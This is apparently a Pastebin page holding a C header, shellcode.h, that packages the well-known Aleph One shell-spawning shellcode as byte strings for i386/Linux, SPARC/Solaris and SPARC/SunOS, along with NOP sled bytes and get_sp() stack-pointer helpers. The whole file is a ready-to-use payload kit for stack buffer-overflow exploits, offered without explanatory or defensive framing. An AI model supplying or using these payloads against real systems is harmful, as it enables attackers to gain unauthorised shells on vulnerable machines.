Phr0zen_Penguin

shellcode.h - The AlephOne Shellcode (For Different OSes)

Apr 3rd, 2015
578
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.08 KB | None | 0 0
  1. /*==================================================================================================
  2.   --------------------------------------------------------------------------------------------------
  3.   [shellcode.h]
  4.   The AlephOne shellcode for different operating systems/architectures.
  5.  
  6.         (c) Damion 'Phr0z3n.dev' Tapper, 2015.
  7.         Email: [email protected]
  8.         Website: http://L337Stuff.Blogspot.com
  9.   --------------------------------------------------------------------------------------------------
  10.   ==================================================================================================*/
  11.  
  12. #ifndef SHELLCODE_H
  13. #define SHELLCODE_H
  14.  
  15. /**
  16.  * i386/Linux SHELLCODE:
  17.  */
  18. #if defined(__i386__) && defined(__linux__)
  19.  
  20. #define NOP_SIZE    1
  21.  
  22. char    nop[] = "\x90";
  23. char    shellCode[] =
  24.             "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  25.             "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  26.             "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  27.  
  28. unsigned long get_sp(void) {
  29.    __asm__("movl %esp,%eax");
  30. }
  31.  
  32.  
  33. /**
  34.  * SPARC/Solaris SHELLCODE:
  35.  */
  36. #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
  37.  
  38. #define NOP_SIZE    4
  39.  
  40. char    nop[] = "\xac\x15\xa1\x6e";
  41. char    shellCode[] =
  42.             "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  43.             "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  44.             "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
  45.             "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
  46.  
  47. unsigned long get_sp(void) {
  48.   __asm__("or %sp, %sp, %i0");
  49. }
  50.  
  51.  
  52. /**
  53.  * SPARC/SunOS SHELLCODE:
  54.  */
  55. #elif defined(__sparc__) && defined(__sun__)
  56.  
  57. #define NOP_SIZE    4
  58.  
  59. char    nop[] = "\xac\x15\xa1\x6e";
  60. char    shellCode[] =
  61.             "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  62.             "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  63.             "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
  64.             "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
  65.  
  66. unsigned long get_sp(void) {
  67.   __asm__("or %sp, %sp, %i0");
  68. }
  69.  
  70. #endif
  71.  
  72. #endif // SHELLCODE_H
Advertisement
Add Comment
Please, Sign In to add comment